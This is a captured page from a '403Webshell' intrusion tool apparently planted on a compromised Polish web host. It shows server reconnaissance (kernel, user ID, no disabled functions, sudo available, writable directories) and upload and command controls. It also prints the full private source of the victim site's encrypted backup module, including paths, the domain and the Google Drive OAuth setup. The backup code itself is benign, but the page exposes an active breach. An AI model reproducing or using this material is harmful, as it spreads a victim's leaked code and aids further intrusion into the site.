403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/polana_backup_v182.php
<?php
declare(strict_types=1);
/** POLANA V18.2 — encrypted, CLI-scheduled backups; no external PHP dependencies. */
require_once __DIR__ . '/functions.php';
require_once __DIR__ . '/polana_backup_sql_v182.php';

function pbk_root(): string { return dirname(__DIR__); }
/** V18.3: dedicated private location file stores only a path, never keys or SQL. */
function pbk_location_file(): string { return __DIR__ . '/polana_backup_location_v183.php'; }
function pbk_safe_private_target(string $requested): string {
    if ($requested === '' || str_contains($requested, "\0") || $requested[0] !== '/') {
        throw new RuntimeException('Podaj bezwzględną ścieżkę linuksową zaczynającą się od /.');
    }
    $requested = rtrim($requested, '/');
    if (basename($requested) !== 'polana-private-backups') {
        throw new RuntimeException('Katalog musi kończyć się nazwą polana-private-backups.');
    }
    $parent = realpath(dirname($requested));
    if ($parent === false || !is_dir($parent)) throw new RuntimeException('Katalog nadrzędny nie istnieje — utwórz go w panelu hostingu.');
    $target = $parent . '/polana-private-backups';
    $resolved = is_dir($target) ? realpath($target) : $target;
    if (!is_string($resolved) || $resolved === '') throw new RuntimeException('Nie udało się ustalić lokalizacji.');
    $root = realpath(pbk_root());
    $documentRoot = realpath((string)($_SERVER['DOCUMENT_ROOT'] ?? ''));
    foreach ([$root, $documentRoot] as $public) {
        if ($public !== false && $public !== null &&
            ($resolved === $public || str_starts_with($resolved . '/', $public . '/'))) {
            throw new RuntimeException('Lokalizacja jest wewnątrz katalogu WWW — odmowa zapisu.');
        }
    }
    // Detect standard public document roots even in CLI, where DOCUMENT_ROOT is unavailable.
    if (preg_match('~/(public_html|httpdocs|htdocs|webroot|www)(/|$)~i', $resolved)) {
        throw new RuntimeException('Ścieżka prowadzi przez publiczny katalog WWW.');
    }
    if (is_link($target)) throw new RuntimeException('Katalog backupów nie może być dowiązaniem symbolicznym.');
    return $target;
}
function pbk_prepare_private(string $path): string {
    $path = pbk_safe_private_target($path);
    if (!is_dir($path) && !@mkdir($path, 0700)) {
        throw new RuntimeException('PHP nie może utworzyć katalogu poza WWW. Utwórz go w panelu hostingu i nadaj użytkownikowi PHP prawo zapisu.');
    }
    if (!is_dir($path) || !is_writable($path)) throw new RuntimeException('Katalog istnieje, lecz PHP nie ma do niego prawa zapisu.');
    @chmod($path, 0700);
    // Test an actual write; is_writable() alone can be misleading with host ACLs.
    $probe = $path . '/.writetest-' . bin2hex(random_bytes(8));
    $handle = @fopen($probe, 'x+b');
    if ($handle === false) throw new RuntimeException('Nie można zapisać pliku testowego w wybranym katalogu.');
    fclose($handle); @unlink($probe);
    foreach (['daily', 'weekly', 'tmp'] as $name) {
        $sub = $path . '/' . $name;
        if (!is_dir($sub) && !@mkdir($sub, 0700)) throw new RuntimeException('Nie można utworzyć prywatnego podkatalogu ' . $name);
        if (!is_dir($sub) || !is_writable($sub)) throw new RuntimeException('Brak zapisu w prywatnym podkatalogu ' . $name);
        @chmod($sub, 0700);
    }
    return $path;
}
function pbk_private(): string {
    $location = pbk_location_file();
    if (is_file($location)) {
        $selected = require $location;
        if (!is_string($selected)) throw new RuntimeException('Nieprawidłowa konfiguracja lokalizacji V18.3.');
        return pbk_prepare_private($selected);
    }
    $root = realpath(pbk_root());
    if ($root === false) throw new RuntimeException('Nie znaleziono katalogu witryny.');
    // Prefer a sibling of DOCUMENT_ROOT, then a sibling of the project directory.
    $doc = realpath((string)($_SERVER['DOCUMENT_ROOT'] ?? ''));
    $bases = [];
    if ($doc !== false) $bases[] = dirname($doc);
    $bases[] = dirname($root);
    $bases[] = dirname(dirname($root));
    $candidates = [];
    foreach (array_unique($bases) as $base) {
        $base = realpath($base);
        if ($base === false || $base === '/' || !is_dir($base)) continue;
        try { $candidates[] = pbk_safe_private_target($base . '/polana-private-backups'); }
        catch (Throwable $ignored) { }
    }
    // Locate existing keys/archives first. Never accidentally start a new key elsewhere.
    usort($candidates, static function (string $x, string $y): int {
        $hasData = static function (string $p): bool {
            return is_file($p . '/backup.key') || is_file($p . '/settings.json') || (bool)(glob($p . '/daily/*.pbackup') ?: []);
        };
        return ((int)$hasData($y)) <=> ((int)$hasData($x));
    });
    foreach ($candidates as $target) {
        try { return pbk_prepare_private($target); }
        catch (Throwable $ignored) { /* Next safe candidate. */ }
    }
    throw new RuntimeException('Brak zapisywalnego katalogu poza WWW. Otwórz /admin/polana-v183-naprawa.php i wskaż prywatną ścieżkę.');
}
function pbk_cfg(): array {
    $file = pbk_private() . '/settings.json';
    if (!is_file($file)) return ['enabled' => false, 'email' => '', 'email_enabled' => false, 'drive_enabled' => false, 'drive_client_id' => '', 'drive_client_secret' => '', 'drive_refresh_token' => '', 'drive_folder_id' => '', 'key_exported' => false];
    $json = json_decode((string)file_get_contents($file), true);
    if (!is_array($json)) throw new RuntimeException('Nieprawidłowa konfiguracja backupu.');
    return $json;
}
function pbk_save_cfg(array $cfg): void {
    $dir = pbk_private();
    $tmp = $dir . '/settings.' . bin2hex(random_bytes(6)) . '.tmp';
    $json = json_encode($cfg, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_THROW_ON_ERROR);
    if (file_put_contents($tmp, $json, LOCK_EX) === false) throw new RuntimeException('Błąd zapisu ustawień.');
    @chmod($tmp, 0600);
    if (!rename($tmp, $dir . '/settings.json')) { @unlink($tmp); throw new RuntimeException('Błąd zatwierdzania ustawień.'); }
}
function pbk_key(): string {
    $file = pbk_private() . '/backup.key';
    if (!is_file($file)) {
        $key = random_bytes(32);
        $handle = @fopen($file, 'x+b');
        if ($handle === false) {
            if (!is_file($file)) throw new RuntimeException('Nie można utworzyć klucza szyfrowania.');
        } else {
            @chmod($file, 0600);
            if (fwrite($handle, $key) !== 32) throw new RuntimeException('Nie zapisano całego klucza.');
            fclose($handle);
        }
    }
    $key = file_get_contents($file);
    if (!is_string($key) || strlen($key) !== 32) throw new RuntimeException('Uszkodzony klucz szyfrowania backupów.');
    return $key;
}
function pbk_secret_encrypt(string $plaintext): string {
    $nonce = random_bytes(12); $tag = '';
    $encrypted = openssl_encrypt($plaintext, 'aes-256-gcm', pbk_key(), OPENSSL_RAW_DATA, $nonce, $tag, 'POLANA-V18.2-SECRET');
    if (!is_string($encrypted)) throw new RuntimeException('Błąd szyfrowania sekretu.');
    return 'gcm:' . base64_encode($nonce . $tag . $encrypted);
}
function pbk_secret_decrypt(string $value): string {
    if (!str_starts_with($value, 'gcm:')) return '';
    $raw = base64_decode(substr($value, 4), true);
    if (!is_string($raw) || strlen($raw) < 29) return '';
    $plain = openssl_decrypt(substr($raw, 28), 'aes-256-gcm', pbk_key(), OPENSSL_RAW_DATA, substr($raw, 0, 12), substr($raw, 12, 16), 'POLANA-V18.2-SECRET');
    return is_string($plain) ? $plain : '';
}
/** Authenticated, chunked AES-256-GCM: magic + frames(length:uint32, nonce:12, tag:16, ciphertext) + authenticated EOF. */
function pbk_encrypt_stream($source, string $destination): array {
    $out = @fopen($destination, 'x+b');
    if ($out === false) throw new RuntimeException('Nie można utworzyć archiwum zaszyfrowanego.');
    @chmod($destination, 0600);
    $key = pbk_key(); $index = 0; $total = 0;
    try {
        if (fwrite($out, "POLANABK1\n") !== 10) throw new RuntimeException('Błąd nagłówka.');
        while (!feof($source)) {
            $plain = fread($source, 1024 * 1024);
            if ($plain === false) throw new RuntimeException('Błąd odczytu źródła.');
            if ($plain === '') { if (!feof($source)) throw new RuntimeException('Pusty odczyt źródła.'); break; }
            $nonce = random_bytes(12); $tag = '';
            $aad = "POLANABK1\n" . pack('N', $index);
            $cipher = openssl_encrypt($plain, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $tag, $aad);
            if (!is_string($cipher)) throw new RuntimeException('Błąd szyfrowania danych.');
            $frame = pack('N', strlen($cipher)) . $nonce . $tag . $cipher;
            if (fwrite($out, $frame) !== strlen($frame)) throw new RuntimeException('Niepełny zapis archiwum.');
            $total += strlen($plain); $index++;
        }
        $nonce = random_bytes(12); $tag = '';
        $aad = "POLANABK1\n" . pack('N', $index) . 'EOF';
        $final = openssl_encrypt('', 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $tag, $aad);
        if (!is_string($final) || fwrite($out, pack('N', 0) . $nonce . $tag) !== 32) throw new RuntimeException('Błąd znacznika końca archiwum.');
        fflush($out);
    } catch (Throwable $e) { fclose($out); @unlink($destination); throw $e; }
    fclose($out);
    return ['bytes' => $total, 'encrypted_bytes' => filesize($destination), 'sha256' => hash_file('sha256', $destination)];
}
function pbk_read_exact($handle, int $size): string {
    $result = '';
    while (strlen($result) < $size) {
        $part = fread($handle, $size - strlen($result));
        if (!is_string($part) || $part === '') throw new RuntimeException('Archiwum niekompletne.');
        $result .= $part;
    }
    return $result;
}
function pbk_decrypt_file(string $encryptedPath, string $target, string $key): void {
    if (strlen($key) !== 32) throw new RuntimeException('Klucz musi mieć 32 bajty.');
    $in = fopen($encryptedPath, 'rb');
    $out = @fopen($target, 'x+b');
    if ($out === false) throw new RuntimeException('Plik wyjściowy już istnieje lub nie można go utworzyć.');
    @chmod($target, 0600);
    try {
        if (pbk_read_exact($in, 10) !== "POLANABK1\n") throw new RuntimeException('Nieprawidłowy format archiwum.');
        $index = 0;
        while (true) {
            $length = unpack('N', pbk_read_exact($in, 4))[1];
            if ($length > 1024 * 1024) throw new RuntimeException('Nieprawidłowy rozmiar bloku.');
            $nonce = pbk_read_exact($in, 12); $tag = pbk_read_exact($in, 16);
            $cipher = pbk_read_exact($in, $length);
            $aad = "POLANABK1\n" . pack('N', $index) . ($length === 0 ? 'EOF' : '');
            $plain = openssl_decrypt($cipher, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $tag, $aad);
            if (!is_string($plain)) throw new RuntimeException('Błędny klucz lub uszkodzony blok.');
            if ($length === 0) { if (!feof($in) && fread($in, 1) !== '') throw new RuntimeException('Dodatkowe dane po EOF.'); break; }
            if (fwrite($out, $plain) !== strlen($plain)) throw new RuntimeException('Błąd zapisu odszyfrowanego pliku.');
            $index++;
        }
    } catch (Throwable $e) { fclose($out); fclose($in); @unlink($target); throw $e; }
    fclose($out); fclose($in);
}
function pbk_verify_encrypted(string $path): bool {
    $in = fopen($path, 'rb');
    if (!$in) return false;
    try {
        if (pbk_read_exact($in, 10) !== "POLANABK1\n") return false;
        $key = pbk_key(); $index = 0;
        while (true) {
            $length = unpack('N', pbk_read_exact($in, 4))[1];
            if ($length > 1024 * 1024) return false;
            $nonce = pbk_read_exact($in, 12); $tag = pbk_read_exact($in, 16);
            $cipher = pbk_read_exact($in, $length);
            $aad = "POLANABK1\n" . pack('N', $index) . ($length === 0 ? 'EOF' : '');
            $plain = openssl_decrypt($cipher, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $tag, $aad);
            if (!is_string($plain)) return false;
            if ($length === 0) return fread($in, 1) === '';
            $index++;
        }
    } catch (Throwable $e) { return false; }
    finally { fclose($in); }
}
/** V18.3: bounded-memory, streaming gzip -> AES-GCM, no plaintext dump on disk. */
class PbkEncryptedGzipFilter extends php_user_filter {
    private $gzip;
    private string $buffer = '';
    private string $key = '';
    private int $frameNo = 0;
    private bool $started = false;
    public function onCreate(): bool {
        $this->gzip = deflate_init(ZLIB_ENCODING_GZIP, ['level' => 6]);
        $this->key = pbk_key();
        return $this->gzip !== false && strlen($this->key) === 32;
    }
    private function emit($out, string $frame): void {
        $bucket = stream_bucket_new($this->stream, $frame);
        stream_bucket_append($out, $bucket);
    }
    private function cipherFrame(string $plaintext, bool $isEnd = false): string {
        $nonce = random_bytes(12); $tag = '';
        $aad = "POLANABK1\n" . pack('N', $this->frameNo) . ($isEnd ? 'EOF' : '');
        $cipher = openssl_encrypt($plaintext, 'aes-256-gcm', $this->key, OPENSSL_RAW_DATA, $nonce, $tag, $aad);
        if (!is_string($cipher)) throw new RuntimeException('Błąd szyfrowania bloku SQL.');
        $this->frameNo++;
        return pack('N', strlen($cipher)) . $nonce . $tag . $cipher;
    }
    private function flushFullBlocks($out): void {
        while (strlen($this->buffer) >= 1048576) {
            $chunk = substr($this->buffer, 0, 1048576);
            $this->buffer = substr($this->buffer, 1048576);
            $this->emit($out, $this->cipherFrame($chunk));
        }
    }
    public function filter($in, $out, &$consumed, bool $closing): int {
        try {
            if (!$this->started) { $this->emit($out, "POLANABK1\n"); $this->started = true; }
            while ($bucket = stream_bucket_make_writeable($in)) {
                $consumed += strlen($bucket->data);
                $compressed = deflate_add($this->gzip, $bucket->data, ZLIB_NO_FLUSH);
                if (!is_string($compressed)) return PSFS_ERR_FATAL;
                $this->buffer .= $compressed;
                $this->flushFullBlocks($out);
            }
            if ($closing) {
                $final = deflate_add($this->gzip, '', ZLIB_FINISH);
                if (!is_string($final)) return PSFS_ERR_FATAL;
                $this->buffer .= $final;
                $this->flushFullBlocks($out);
                if ($this->buffer !== '') $this->emit($out, $this->cipherFrame($this->buffer));
                $this->buffer = '';
                $this->emit($out, $this->cipherFrame('', true));
            }
            return PSFS_PASS_ON;
        } catch (Throwable $e) {
            error_log('[POLANA V18.3] SQL encryption stream failed: ' . $e->getMessage());
            return PSFS_ERR_FATAL;
        }
    }
}
function pbk_sql_daily(string $date): string {
    $file = pbk_private() . '/daily/polana-sql-' . $date . '.sql.gz.pbackup';
    if (is_file($file)) {
        if (pbk_verify_encrypted($file)) return $file;
        // Preserve failed archive for forensics, then allow a fresh attempt that day.
        $quarantine = $file . '.corrupt-' . date('His') . '-' . bin2hex(random_bytes(3));
        if (!@rename($file, $quarantine)) throw new RuntimeException('Błędnej kopii SQL nie można zachować pod nową nazwą. Nie nadpisano jej.');
        $statusOld = pbk_status_path($file);
        if (is_file($statusOld)) @rename($statusOld, $quarantine . '.json');
        pbk_log('integrity', 'WARN', 'Zachowano uszkodzony SQL do analizy: ' . basename($quarantine));
    }
    if (!in_array('pbk.encrypted_gzip.v183', stream_get_filters(), true)) {
        if (!stream_filter_register('pbk.encrypted_gzip.v183', PbkEncryptedGzipFilter::class)) throw new RuntimeException('Brak filtra szyfrowania.');
    }
    $tmp = pbk_private() . '/tmp/sql-' . bin2hex(random_bytes(12)) . '.pbackup.part';
    $fp = @fopen($tmp, 'x+b');
    if ($fp === false) throw new RuntimeException('Nie można utworzyć tymczasowego zaszyfrowanego archiwum SQL.');
    @chmod($tmp, 0600);
    try {
        if (!stream_filter_append($fp, 'pbk.encrypted_gzip.v183', STREAM_FILTER_WRITE)) throw new RuntimeException('Nie udało się dodać filtra szyfrowania.');
        pbk_sql_build(db(), $fp, false);
        if (!fclose($fp)) throw new RuntimeException('Nie zamknięto archiwum SQL.');
        $fp = null;
        if (!pbk_verify_encrypted($tmp)) throw new RuntimeException('Nieudana weryfikacja integralności SQL.');
        if (is_file($file)) throw new RuntimeException('Kopia z dzisiejszą datą już istnieje; nie nadpisano jej.');
        if (!rename($tmp, $file)) throw new RuntimeException('Nie można zatwierdzić kopii SQL.');
        @chmod($file, 0600);
    } catch (Throwable $e) {
        if (is_resource($fp)) fclose($fp);
        @unlink($tmp);
        throw $e;
    }
    return $file;
}
function pbk_site_weekly(string $date): string {
    $file = pbk_private() . '/weekly/polana-strona-' . $date . '.tar.pbackup';
    if (is_file($file)) {
        if (pbk_verify_encrypted($file)) return $file;
        $quarantine = $file . '.corrupt-' . date('His') . '-' . bin2hex(random_bytes(3));
        if (!@rename($file, $quarantine)) throw new RuntimeException('Błędnej kopii strony nie można zachować pod nową nazwą.');
        $statusOld = pbk_status_path($file);
        if (is_file($statusOld)) @rename($statusOld, $quarantine . '.json');
        pbk_log('integrity', 'WARN', 'Zachowano uszkodzony TAR do analizy: ' . basename($quarantine));
    }
    if (!class_exists('PharData')) throw new RuntimeException('Brak PharData w PHP (nie można spakować witryny).');
    $tmp = pbk_private() . '/tmp/site-' . bin2hex(random_bytes(8)) . '.tar';
    $root = pbk_root(); $count = 0;
    try {
        $archive = new PharData($tmp);
        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS));
        foreach ($iterator as $entry) {
            if (!$entry->isFile() || $entry->isLink()) continue;
            $rel = str_replace('\\', '/', substr($entry->getPathname(), strlen($root) + 1));
            if (preg_match('~(^|/)(\.git|node_modules|vendor-cache|cache|tmp|sessions|\.polana_v174_backups|polana-v15-backups|polana-i18n-v96-backup)(/|$)~i', $rel)) continue;
            if (preg_match('~(\.log$|\.bak$|\.tmp$|\.zip$|\.tar$|\.sql$|\.pbackup$|^admin/database_z_zip\.sql$)~i', $rel)) continue;
            $archive->addFile($entry->getPathname(), $rel); $count++;
            if ($count > 150000) throw new RuntimeException('Zbyt wiele plików do archiwizacji.');
        }
        unset($archive);
        if ($count < 15 || filesize($tmp) < 1024) throw new RuntimeException('Archiwum strony jest podejrzanie małe.');
        $stream = fopen($tmp, 'rb');
        try { pbk_encrypt_stream($stream, $file); } finally { fclose($stream); }
        if (!pbk_verify_encrypted($file)) { @unlink($file); throw new RuntimeException('Nieudana weryfikacja integralności kopii strony.'); }
    } finally { @unlink($tmp); }
    return $file;
}
function pbk_http(string $url, string $method = 'GET', array $headers = [], string $body = ''): array {
    if (!str_starts_with($url, 'https://')) throw new RuntimeException('Wymagany HTTPS.');
    $headerString = implode("\r\n", $headers);
    $opts = ['http' => ['method' => $method, 'header' => $headerString, 'content' => $body, 'timeout' => 45, 'ignore_errors' => true, 'follow_location' => 0], 'ssl' => ['verify_peer' => true, 'verify_peer_name' => true]];
    $context = stream_context_create($opts);
    $result = @file_get_contents($url, false, $context);
    $respHeaders = $http_response_header ?? [];
    $code = 0;
    foreach ($respHeaders as $line) if (preg_match('~^HTTP/\S+\s+(\d+)~i', $line, $m)) $code = (int)$m[1];
    if ($code === 0) throw new RuntimeException('Nie można połączyć się z usługą HTTPS.');
    return [$code, (string)$result, $respHeaders];
}
function pbk_oauth_redirect_uri(): string { return 'https://mojapolanasmakow.pl/admin/polana-backup-automat.php'; }
function pbk_drive_access_token(array $cfg): string {
    $refresh = pbk_secret_decrypt((string)($cfg['drive_refresh_token'] ?? ''));
    $secret = pbk_secret_decrypt((string)($cfg['drive_client_secret'] ?? ''));
    if ($refresh === '' || $secret === '') throw new RuntimeException('Niepołączone konto Google Drive.');
    [$code, $body] = pbk_http('https://oauth2.googleapis.com/token', 'POST', ['Content-Type: application/x-www-form-urlencoded'], http_build_query([
        'client_id' => $cfg['drive_client_id'], 'client_secret' => $secret, 'refresh_token' => $refresh, 'grant_type' => 'refresh_token'
    ]));
    $json = json_decode($body, true);
    if ($code !== 200 || empty($json['access_token'])) throw new RuntimeException('Google Drive: nie udało się odświeżyć tokenu (HTTP ' . $code . ').');
    return (string)$json['access_token'];
}
function pbk_drive_folder(array &$cfg, string $token): string {
    if (!empty($cfg['drive_folder_id'])) return (string)$cfg['drive_folder_id'];
    [$code, $body] = pbk_http('https://www.googleapis.com/drive/v3/files?fields=id', 'POST', ['Authorization: Bearer ' . $token, 'Content-Type: application/json'], json_encode(['name' => 'POLANA — kopie zapasowe', 'mimeType' => 'application/vnd.google-apps.folder'], JSON_THROW_ON_ERROR));
    $json = json_decode($body, true);
    if ($code !== 200 && $code !== 201 || empty($json['id'])) throw new RuntimeException('Google Drive: błąd tworzenia folderu (HTTP ' . $code . ').');
    $cfg['drive_folder_id'] = (string)$json['id']; pbk_save_cfg($cfg);
    return (string)$json['id'];
}
function pbk_drive_upload(string $file, array &$cfg): string {
    $token = pbk_drive_access_token($cfg);
    $folder = pbk_drive_folder($cfg, $token);
    $name = basename($file);
    $size = filesize($file);
    if (!is_int($size) || $size < 50) throw new RuntimeException('Archiwum jest puste.');
    [$code, $body, $headers] = pbk_http('https://www.googleapis.com/upload/drive/v3/files?uploadType=resumable&fields=id,name,size', 'POST', [
        'Authorization: Bearer ' . $token, 'Content-Type: application/json; charset=UTF-8', 'X-Upload-Content-Type: application/octet-stream', 'X-Upload-Content-Length: ' . $size
    ], json_encode(['name' => $name, 'parents' => [$folder], 'mimeType' => 'application/octet-stream'], JSON_THROW_ON_ERROR));
    $session = '';
    foreach ($headers as $line) if (stripos($line, 'Location:') === 0) $session = trim(substr($line, 9));
    if ($code !== 200 || !str_starts_with($session, 'https://www.googleapis.com/')) throw new RuntimeException('Google Drive: nie udało się rozpocząć wysyłki (HTTP ' . $code . ').');
    $in = fopen($file, 'rb'); $offset = 0; $resultId = '';
    try {
        while ($offset < $size) {
            $chunk = fread($in, min(4 * 1024 * 1024, $size - $offset));
            if (!is_string($chunk) || $chunk === '') throw new RuntimeException('Błąd odczytu archiwum.');
            $last = $offset + strlen($chunk) - 1;
            [$http, $response] = pbk_http($session, 'PUT', [
                'Authorization: Bearer ' . $token, 'Content-Type: application/octet-stream',
                'Content-Length: ' . strlen($chunk), 'Content-Range: bytes ' . $offset . '-' . $last . '/' . $size
            ], $chunk);
            if ($last + 1 < $size && $http !== 308) throw new RuntimeException('Google Drive: niepełna wysyłka (HTTP ' . $http . ').');
            if ($last + 1 === $size) {
                $json = json_decode($response, true);
                if (!in_array($http, [200, 201], true) || empty($json['id'])) throw new RuntimeException('Google Drive: brak potwierdzenia pliku (HTTP ' . $http . ').');
                $resultId = (string)$json['id'];
            }
            $offset = $last + 1;
        }
    } finally { fclose($in); }
    return $resultId;
}
function pbk_send_attachment(string $to, string $file): void {
    if (!is_file($file) || filesize($file) > 12 * 1024 * 1024) throw new RuntimeException('Archiwum przekracza limit e-mail 12 MB.');
    if (setting('smtp_enabled', '0') !== '1') throw new RuntimeException('SMTP wyłączone.');
    $host = trim(setting('smtp_host')); $port = (int)setting('smtp_port', '587');
    $security = setting('smtp_security', 'starttls');
    $user = trim(setting('smtp_username')); $pass = smtp_password();
    $from = smtp_clean_email(filter_var($user, FILTER_VALIDATE_EMAIL) ? $user : setting('smtp_from_email')); $to = smtp_clean_email($to);
    $fromName = setting('smtp_from_name', 'Moja Polana Smaków');
    $ctx = stream_context_create(['ssl' => ['verify_peer' => true, 'verify_peer_name' => true, 'allow_self_signed' => false, 'SNI_enabled' => true]]);
    $errno = 0; $errstr = '';
    $socket = @stream_socket_client(($security === 'ssl' ? 'ssl' : 'tcp') . '://' . $host . ':' . $port, $errno, $errstr, 20, STREAM_CLIENT_CONNECT, $ctx);
    if (!$socket) throw new RuntimeException('SMTP: brak połączenia.');
    stream_set_timeout($socket, 30);
    $helo = 'mojapolanasmakow.pl';
    try {
        smtp_expect($socket, [220]); smtp_command($socket, 'EHLO ' . $helo, [250]);
        if ($security === 'starttls') {
            smtp_command($socket, 'STARTTLS', [220]);
            if (@stream_socket_enable_crypto($socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT) !== true) throw new RuntimeException('SMTP: błąd TLS.');
            smtp_command($socket, 'EHLO ' . $helo, [250]);
        }
        if ($user !== '') { smtp_command($socket, 'AUTH LOGIN', [334]); smtp_command($socket, base64_encode($user), [334]); smtp_command($socket, base64_encode($pass), [235]); }
        smtp_command($socket, 'MAIL FROM:<' . $from . '>', [250]);
        smtp_command($socket, 'RCPT TO:<' . $to . '>', [250, 251]);
        smtp_command($socket, 'DATA', [354]);
        $boundary = 'polana-' . bin2hex(random_bytes(12));
        $headers = [
            'Date: ' . date(DATE_RFC2822), 'From: ' . smtp_header_encode($fromName) . ' <' . $from . '>',
            'To: <' . $to . '>', 'Subject: ' . smtp_header_encode('POLANA — zaszyfrowany backup SQL ' . date('Y-m-d')),
            'MIME-Version: 1.0', 'Content-Type: multipart/mixed; boundary="' . $boundary . '"'
        ];
        $intro = implode("\r\n", $headers) . "\r\n\r\n--$boundary\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Transfer-Encoding: 8bit\r\n\r\n" .
            "Zaszyfrowana kopia SQL Moja Polana Smaków. Klucz odszyfrowania przechowuj osobno.\r\n" .
            "\r\n--$boundary\r\nContent-Type: application/octet-stream\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: attachment; filename=\"" . basename($file) . "\"\r\n\r\n";
        if (fwrite($socket, $intro) !== strlen($intro)) throw new RuntimeException('SMTP: niepełne nagłówki.');
        $in = fopen($file, 'rb');
        try {
            while (!feof($in)) {
                $chunk = fread($in, 57 * 500);
                if ($chunk === false) throw new RuntimeException('Błąd odczytu załącznika.');
                if ($chunk === '') break;
                $encoded = chunk_split(base64_encode($chunk), 76, "\r\n");
                if (fwrite($socket, $encoded) !== strlen($encoded)) throw new RuntimeException('SMTP: błąd transmisji załącznika.');
            }
        } finally { fclose($in); }
        $tail = "\r\n--$boundary--\r\n.\r\n";
        if (fwrite($socket, $tail) !== strlen($tail)) throw new RuntimeException('SMTP: błąd zakończenia wiadomości.');
        smtp_expect($socket, [250]);
        @smtp_command($socket, 'QUIT', [221]);
    } finally { fclose($socket); }
}
function pbk_status_path(string $file): string { return $file . '.json'; }
function pbk_status(string $file): array {
    $path = pbk_status_path($file);
    if (!is_file($path)) return ['mail' => false, 'drive' => false, 'created' => date(DATE_ATOM), 'sha256' => hash_file('sha256', $file)];
    $data = json_decode((string)file_get_contents($path), true);
    return is_array($data) ? $data : [];
}
function pbk_save_status(string $file, array $state): void {
    $path = pbk_status_path($file);
    $tmp = $path . '.' . bin2hex(random_bytes(4)) . '.tmp';
    file_put_contents($tmp, json_encode($state, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_THROW_ON_ERROR), LOCK_EX);
    @chmod($tmp, 0600); rename($tmp, $path);
}
function pbk_log(string $kind, string $result, string $message): void {
    $line = json_encode(['time' => date(DATE_ATOM), 'kind' => $kind, 'status' => $result, 'message' => substr($message, 0, 400)], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    $path = pbk_private() . '/history.log';
    file_put_contents($path, $line . "\n", FILE_APPEND | LOCK_EX); @chmod($path, 0600);
    if (filesize($path) > 1048576) {
        $lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: [];
        file_put_contents($path, implode("\n", array_slice($lines, -500)) . "\n", LOCK_EX);
    }
}
function pbk_retention(string $kind, int $keep, array $cfg): void {
    $files = glob(pbk_private() . '/' . $kind . '/*.pbackup') ?: [];
    rsort($files, SORT_STRING);
    foreach (array_slice($files, $keep) as $file) {
        $state = pbk_status($file);
        if (!empty($cfg['drive_enabled']) && empty($state['drive'])) continue;
        if ($kind === 'daily' && !empty($cfg['email_enabled']) && empty($state['mail'])) continue;
        @unlink($file); @unlink(pbk_status_path($file));
    }
}
function pbk_run(string $mode = 'auto'): array {
    $cfg = pbk_cfg();
    if (empty($cfg['enabled'])) throw new RuntimeException('Automatyczne kopie są wyłączone.');
    if (empty($cfg['key_exported'])) throw new RuntimeException('Najpierw pobierz i zachowaj klucz odzyskiwania.');
    $lock = fopen(pbk_private() . '/backup.lock', 'c+');
    if (!$lock || !flock($lock, LOCK_EX | LOCK_NB)) throw new RuntimeException('Backup już jest uruchomiony.');
    $summary = []; $hasErrors = false;
    try {
        @set_time_limit(0);
        $today = date('Y-m-d');
        if (in_array($mode, ['auto', 'sql'], true)) {
            $sql = pbk_sql_daily($today); $summary[] = 'SQL: ' . basename($sql);
            $state = pbk_status($sql);
            if (!empty($cfg['email_enabled']) && empty($state['mail'])) {
                try { pbk_send_attachment((string)$cfg['email'], $sql); $state['mail'] = true; pbk_save_status($sql, $state); pbk_log('sql-mail', 'OK', basename($sql)); }
                catch (Throwable $e) { pbk_log('sql-mail', 'ERROR', $e->getMessage()); $summary[] = 'E-mail: błąd (szczegóły w historii)'; $hasErrors = true; }
            }
        }
        if ($mode === 'weekly' || ($mode === 'auto' && date('N') === '7')) {
            $weekly = pbk_site_weekly($today); $summary[] = 'Strona: ' . basename($weekly);
        }
        if (!empty($cfg['drive_enabled'])) {
            foreach (['daily', 'weekly'] as $dir) {
                foreach (glob(pbk_private() . '/' . $dir . '/*.pbackup') ?: [] as $file) {
                    $state = pbk_status($file);
                    if (!pbk_verify_encrypted($file)) { pbk_log('integrity', 'ERROR', 'Archiwum nie przeszło kontroli: ' . basename($file)); $hasErrors = true; continue; }
                    if (!empty($state['drive'])) continue;
                    try {
                        $id = pbk_drive_upload($file, $cfg); $state['drive'] = true; $state['drive_file_id'] = $id;
                        pbk_save_status($file, $state); pbk_log('drive', 'OK', basename($file));
                    } catch (Throwable $e) { pbk_log('drive', 'ERROR', $e->getMessage()); $summary[] = 'Drive: błąd wysyłki ' . basename($file); $hasErrors = true; }
                }
            }
        }
        pbk_retention('daily', 14, $cfg); pbk_retention('weekly', 4, $cfg);
        pbk_log('backup', $hasErrors ? 'WARN' : 'OK', implode('; ', $summary));
        if ($hasErrors) throw new RuntimeException('Kopia powstała, ale część wysyłek nie powiodła się. Sprawdź historię.');
        return $summary;
    } catch (Throwable $e) { pbk_log('backup', 'ERROR', $e->getMessage()); throw $e; }
    finally { flock($lock, LOCK_UN); fclose($lock); }
}

Youez - 2016 - github.com/yon3zu
LinuXploit